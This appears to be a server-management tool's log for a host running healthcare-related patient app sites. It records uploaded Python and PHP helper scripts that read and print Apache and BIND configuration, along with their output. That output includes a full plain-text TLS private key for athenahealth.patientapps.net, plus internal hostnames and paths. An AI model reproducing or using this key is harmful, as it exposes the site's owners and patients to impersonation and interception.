         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-06 12:44:18: 

PUT: /tmp/pkp118597

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-06 12:44:18: 

chmod 755 /tmp/pkp118597; /tmp/pkp118597; rm /tmp/pkp118597

2026-01-06 12:44:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf	1744

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>







2026-01-06 12:44:18: 

PUT: /tmp/pkp998168

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-06 12:44:18: 

chmod 755 /tmp/pkp998168; /tmp/pkp998168; rm /tmp/pkp998168

2026-01-06 12:44:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt	5397
ff:0c:5d:91:3e:b3:83:a1:e0:b1:5b:85:da:ac:82:6e

-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBRpkHN732Po4QbgfbucPMBT4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA2MTE0NTQ2WhcNMjYwNDA2MTE0NTQ1WjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEA4NqrH81sbrFfUiMC4JGU0VbMW72N2rHW7gIJ6TATXDHF
lSRXyz4nmX65+bUIp3ti5NRoOzMvPa04h/zkRPiiCJK1ASB+zt6z3MYzx96xOx2Z
v35mCK3detYZSQDibUu0Y6ydCFKwPqrsWXouDIofqqdcEUcjWVPQY3m7ViqPoGWP
Frtly3AO4NF9KTSN1zK1iXa4AgG/QI7UHkwBAthP4guw/jF5z1YySZxMHYi4akmO
gGRlVvdgHs7hA6NI5h7RK9pSqJLX53FOsgqTi0DGrfw1mtCQA3+zy9y3yPMLdcwc
hJh8h2/f02pAbKCkSKoPKHXPTsd3AHOS5j5MrX6IYQIDAQABo4ICNTCCAjEwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBRyjfcSvXukKmB1DBrI7MuoerSl2jAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHGF0aGVu
YWhlYWx0aC5wYXRpZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYD
VR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMjEuY3JsMIIB
DAYKKwYBBAHWeQIEAgSB/QSB+gD4AH4A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSew
AfwcRFjEtugAAAGbk1YrDAAIAAAFAC51gcwEAwBHMEUCIBjKJvDZ3oe/3kTprry2
L1G0eyIke5jLwY8RbDfg7uILAiEA6ha3e1fUsHwjS/e6wn8DmRVsJqjiQXH2kSUf
NsBmIwYAdgDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj16TGzI8uVBAAAAZuTViu2
AAAEAwBHMEUCIDM+nkAi/suv3MWedOOwj1Lx7FvnVGQI0HFdQKSrCDuJAiEAppez
7hZUvet+4tlGxWdJ+Gus+YnTEYZQwFDsWKE4LbEwDQYJKoZIhvcNAQELBQADggEB
AHd636KR3uNyK0WsQrBRF+zh0zNALZ4WxmMuQcypWhGP/e4cH7ZP+/JHV+v4P8TQ
GGIIZloHz+QFEgHVH38t6sekcPB1AOG+bvMmMl4JNFEmhjP+HpWBMIHoazgsu87t
0fSQvA23Yh167BQbsH1sm/vWO/dD20cW/Cp+/iZ6tTSjAmEfPPDt/k2bVVu8qlZx
59qQXLaY04tX0qAts9zMXmKoNi/1rBGqD4b8zIFHvfZjSW70yptkB6phfa9lbomi
80aXdnby2bJnoorG2xtafpqLms2WXuJ4fvFPvZJt2c5f4+sw93cGYoJRNjMn7xX6
8gpzfyAejZqzFERg4oWJgwY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDg2qsfzWxusV9S
IwLgkZTRVsxbvY3asdbuAgnpMBNcMcWVJFfLPieZfrn5tQine2Lk1Gg7My89rTiH
/ORE+KIIkrUBIH7O3rPcxjPH3rE7HZm/fmYIrd161hlJAOJtS7RjrJ0IUrA+quxZ
ei4Mih+qp1wRRyNZU9BjebtWKo+gZY8Wu2XLcA7g0X0pNI3XMrWJdrgCAb9AjtQe
TAEC2E/iC7D+MXnPVjJJnEwdiLhqSY6AZGVW92AezuEDo0jmHtEr2lKoktfncU6y
CpOLQMat/DWa0JADf7PL3LfI8wt1zByEmHyHb9/TakBsoKRIqg8odc9Ox3cAc5Lm
PkytfohhAgMBAAECggEAJuPLKyH1eiO1b9hcXAjx608O42MikMund9zkZ++Hua9m
FAiIIr/qS3MOqXC1QXpmvVs7d9m/dvRpzaNgu8khBUiSg9Jh/FeqVin1tMEAeFAD
UoqDDUc9AkzbbLP5dZvdZEvrkQ/0KbKYVFV8d3DAT1zI4LgkFgQYC8x3KU0NMFlt
Tmhj35oYeoRy+0lVQTn9/UHOnvr3dlI4I1O2DhCRojMqF9UJbE7goS43hYODqnVn
l4bNAaw0rV2me6hH6tMVFlk+at2eFxzl4o9vakYJ66pyPS85MshqYQCDfn0LGgEr
HF3euZLszUABghH8o+dTmo2bEDu+ivbiv6V+5CyFDQKBgQD8rg/g3N7Q9a24Ybcu
uf4q9tTJ++EuI+bUVRnuHNeSeu5d+JkwMvWc17UHs0rlgb5AF5wkDD2vqWiqtyiR
sxR4ib90BHEPX6t+uKBAZr89SLmln+UY8+Tnf0YhWyG9acWi2kDHRBEwwp0IsxY0
PdZ57TkmCauGo9HDkoe6GgvwqwKBgQDjzwJUTogGgP4EnDW+F/XAF+kkjHi6dVq5
zjZ96Sxbrt8S27JpmxsRnZBBGeIxW+3MRs5AJuagGB29k0+cUimVSVyBuW3CjSu3
MDL4PrG6gHdvlELK1AjONZ8uZx7Nj3DY+/cFHQdRIYqY/wvD8p3Aap2JXHGWAZUl
bmcsqF/jIwKBgQDUJZBPSyIIbz0bwW77XE155SNjMoctJhd3zrumn7Ce23emjkKP
pTlyJeloPbB0YSpKxYfi/CQOiD3Il18IdUKKsZx82/3Q2pIyIvDpIVsPKTA1Troa
6SsW8lT/THRXg6bbxEL/CrckKUGPPE04L3MTi4if1x6cPI6xlSU/qv67YQKBgFOP
cBRKhfyUvhgk0FW85iii3KLKX9JND41OBZDjwaCToUGCkovIGAK7H9mxS9W9GZmv
cyH24utgTTBnY3E8dgJLWYI/6PHO5HUaWefS31BApQ6pfGJ3qg8xfgUAUD0oW0VM
DsyyXCe3POZnzwH98T1OHiDvZr6WMAX93Bx2Wk2vAoGAVlhwqimB5v1h2X0JPGyY
BHUgPnej4S6/oxPNraH7hzbfGO4lg9NQ9bgWm2F72ctBza/bLEgWyTBaDBUrddOw
RsLzWccb2yTxSgDFgoJvO4DyqkIIBj/U0DnrB5SZIygGRc1bMrfEaa0VeheLn/ph
GTOxiCqUI9e0dfLl3tRt/bE=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-06 12:44:53: Establishing a connection
2026-01-06 12:44:53: 

PUT: /tmp/pkp847575

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-06 12:44:54: 

runuser -l bind -s /bin/bash -c '/tmp/pkp847575; rm /tmp/pkp847575'

2026-01-06 12:44:54: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
